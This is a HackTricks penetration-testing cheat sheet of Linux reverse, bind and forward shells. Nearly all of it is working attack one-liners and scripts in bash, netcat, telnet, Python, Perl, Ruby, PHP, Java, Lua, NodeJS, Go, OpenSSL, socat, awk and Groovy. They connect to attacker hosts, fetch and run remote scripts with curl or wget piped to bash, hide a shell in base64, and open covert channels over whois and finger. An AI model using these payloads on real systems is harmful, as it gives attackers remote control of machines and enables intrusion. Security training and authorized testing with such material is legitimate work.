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407 lines
15 KiB
Markdown
407 lines
15 KiB
Markdown
# Shells - Linux
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com)
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## Full TTY
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**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.**
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## Bash | sh
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```bash
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curl https://reverse-shell.sh/1.1.1.1:3000 | bash
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bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
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bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
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0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
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exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
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#Short and bypass (credits to Dikline)
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(sh)0>/dev/tcp/10.10.10.10/9091
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#after getting the previous shell to get the output to execute
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exec >&0
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```
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Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.
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### Symbol safe shell
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```bash
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#If you need a more stable connection do:
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bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
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#Stealthier method
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#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
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echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
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```
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#### Shell explanation
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1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell.
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2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**.
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3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: This is a special file that **represents a TCP connection to the specified IP address and port**.
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* By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine.
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4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**.
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### Create in file and execute
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```bash
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echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
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wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
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```
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## Forward Shell
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When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.
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A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment.
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To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows:
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```python3
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import jwt
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import httpx
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def execute(command: str, timeout: float = None) -> str:
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# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
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token = jwt.encode(
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{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
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)
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response = httpx.get(
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url="https://vulnerable.io:3200",
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headers={"Authorization": f"Bearer {token}"},
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timeout=timeout,
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# ||BURP||
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verify=False,
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)
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# Check if the request was successful
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response.raise_for_status()
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return response.text
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```
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And then, you can run:
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```shell
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toboggan -m nix.py -i
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```
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To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper.
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Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
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You just need to modify:
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* The URL of the vulnerable host
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* The prefix and suffix of your payload (if any)
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* The way the payload is sent (headers? data? extra info?)
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Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).
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## Netcat
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```bash
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nc -e /bin/sh <ATTACKER-IP> <PORT>
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nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
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nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
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rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
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```
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## gsocket
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Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
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```bash
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bash -c "$(curl -fsSL gsocket.io/x)"
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```
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## Telnet
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```bash
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telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
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telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
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rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
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```
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## Whois
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**Attacker**
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```bash
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while true; do nc -l <port>; done
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```
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To send the command write it down, press enter and press CTRL+D (to stop STDIN)
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**Victim**
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```bash
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export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
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```
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## Python
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```bash
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#Linux
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export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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#IPv6
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python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
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```
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## Perl
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```bash
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perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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```
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## Ruby
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```bash
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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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```
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## PHP
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```php
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// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
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// Using this method may lead to instances where the connection reaches out to the listener and then closes.
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php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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// Using 'proc_open' makes no assumptions about what the file descriptor will be.
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// See https://security.stackexchange.com/a/198944 for more information
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<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
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<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
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```
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## Java
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```bash
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r = Runtime.getRuntime()
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p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
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p.waitFor()
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```
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## Ncat
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```bash
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victim> ncat <ip> <port,eg.443> --ssl -c "bash -i 2>&1"
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attacker> ncat -l <port,eg.443> --ssl
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```
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## Golang
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```bash
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echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
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```
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## Lua
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```bash
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#Linux
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lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
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#Windows & Linux
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lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
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```
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## NodeJS
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```javascript
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(function(){
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var net = require("net"),
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cp = require("child_process"),
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sh = cp.spawn("/bin/sh", []);
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var client = new net.Socket();
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client.connect(8080, "10.17.26.64", function(){
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client.pipe(sh.stdin);
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sh.stdout.pipe(client);
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sh.stderr.pipe(client);
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});
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return /a/; // Prevents the Node.js application form crashing
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})();
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or
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require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
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require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
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or
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-var x = global.process.mainModule.require
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-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
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or
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// If you get to the constructor of a function you can define and execute another function inside a string
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"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
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"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
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or
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// Abuse this syntax to get a reverse shell
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var fs = this.process.binding('fs');
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var fs = process.binding('fs');
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or
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https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
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```
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## OpenSSL
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The Attacker (Kali)
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```bash
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openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
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openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
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openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
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```
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The Victim
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```bash
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#Linux
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openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
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#Windows
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openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
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```
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## **Socat**
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[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
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### Bind shell
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```bash
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victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
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```
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### Reverse shell
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```bash
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attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
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victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
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```
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## Awk
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```bash
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awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
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```
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## Finger
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**Attacker**
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```bash
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while true; do nc -l 79; done
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```
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To send the command write it down, press enter and press CTRL+D (to stop STDIN)
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**Victim**
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```bash
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export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
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export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
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```
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## Gawk
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```bash
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#!/usr/bin/gawk -f
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BEGIN {
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Port = 8080
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Prompt = "bkd> "
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Service = "/inet/tcp/" Port "/0/0"
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while (1) {
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do {
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printf Prompt |& Service
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Service |& getline cmd
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if (cmd) {
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while ((cmd |& getline) > 0)
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print $0 |& Service
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close(cmd)
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}
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} while (cmd != "exit")
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close(Service)
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}
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}
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```
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## Xterm
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This will try to connect to your system at port 6001:
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```bash
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xterm -display 10.0.0.1:1
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```
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To catch the reverse shell you can use (which will listen in port 6001):
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```bash
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# Authorize host
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xhost +targetip
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# Listen
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Xnest :1
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```
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## Groovy
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by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy
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```bash
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String host="localhost";
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int port=8044;
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String cmd="cmd.exe";
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Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
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```
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## References
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* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
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* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
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* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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|
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<summary>Support HackTricks</summary>
|
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|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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